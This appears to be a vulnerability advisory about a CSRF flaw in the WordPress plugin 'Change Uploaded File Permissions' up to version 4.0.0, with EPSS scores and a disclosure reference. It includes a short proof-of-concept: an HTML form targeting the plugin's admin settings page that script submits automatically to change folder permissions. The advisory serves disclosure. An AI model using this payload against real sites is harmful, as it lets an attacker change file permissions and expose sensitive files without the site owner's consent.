Change Uploaded File Permissions <= 4.0.0 - File Permission Update via CSRF

2022-05-2300:00:00

Daniel Ruf

0.001 Low

EPSS

Percentile

26.5%

JSON

Due to missing checks the plugin is vulnerable to CSRF attacks. This can be used to change the file and folder permissions of any folder. This could be problematic when specific files like ini files are made readable for everyone due to this.

<form id="test" action="https://example.com/wp-admin/options-general.php?page=uploadedfilepermissions" method="POST">
    <input type="text" name="sk_wproot_folder" value="/www/htdocs/ttttt/example.com/wp-content/uploads">
    <input type="text" name="sk_updateroot" value="true">
</form>
<script>
    document.getElementById("test").submit();
</script>

0.001 Low

EPSS

Percentile

26.5%

JSON

Related for WPEX-ID:C39719E5-DADD-4414-A96D-5E70A1E3D462